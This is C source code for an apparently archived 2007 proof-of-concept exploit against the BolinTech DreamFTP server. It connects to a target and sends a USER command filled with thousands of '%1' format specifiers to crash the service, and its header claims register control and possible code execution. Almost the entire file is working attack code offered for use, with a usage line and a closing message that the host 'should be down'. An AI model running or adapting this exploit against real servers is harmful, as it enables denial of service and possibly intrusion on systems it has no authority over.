80 lines
No EOL
2.5 KiB
C
80 lines
No EOL
2.5 KiB
C
/**************************************************************************
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*BolinTech DreamFTP USER buffer overflow *
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* *
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*The server does not correctly handle format string so sending a command *
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*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
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* *
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*This is only a POC but code execution is possible *
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* *
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*usage: dreamftp.exe ip port *
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* *
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*Coded by Marsu <Marsupilamipowa@hotmail.fr> *
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**************************************************************************/
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#include "winsock2.h"
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#include "stdio.h"
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#include "stdlib.h"
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#pragma comment(lib, "ws2_32.lib")
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int main(int argc, char* argv[])
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{
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struct hostent *he;
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struct sockaddr_in sock_addr;
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WSADATA wsa;
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int ftpsock;
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char recvbuff[1024];
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char evilbuff[5003];
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int buflen=5000;// edx=31253125
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int i;
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if (argc!=3)
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{
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printf("[+] Usage: %s <ip> <port>\n",argv[0]);
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return 1;
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}
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WSACleanup();
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WSAStartup(MAKEWORD(2,0),&wsa);
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printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
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if ((he=gethostbyname(argv[1])) == NULL) {
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printf("Failed\n[-] Could not init gethostbyname\n");
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return 1;
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}
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if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
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printf("Failed\n[-] Socket error\n");
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return 1;
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}
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sock_addr.sin_family = PF_INET;
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sock_addr.sin_port = htons(atoi(argv[2]));
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sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
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memset(&(sock_addr.sin_zero), '\0', 8);
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if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
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printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
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return 1;
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}
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printf("OK\n");
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memset(recvbuff,'\0',1024);
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recv(ftpsock, recvbuff, 1024, 0);
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printf("[+] Building payload ... ");
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for (i=0;i<buflen;i+=2) {
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memcpy(evilbuff+i,"%1",2);
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}
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memcpy(evilbuff,"USER ",5);
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memcpy(evilbuff+buflen,"\r\n\0",3);
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printf("OK\n[+] Sending USER ... ");
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if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
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printf("Failed\n[-] Could not send\n");
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return 1;
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}
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printf("OK\n");
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memset(recvbuff,'\0',1024);
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recv(ftpsock, recvbuff, 1024, 0);
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Sleep(1000);
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printf("[+] Host should be down\n");
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return 0;
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}
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// milw0rm.com [2007-01-14]
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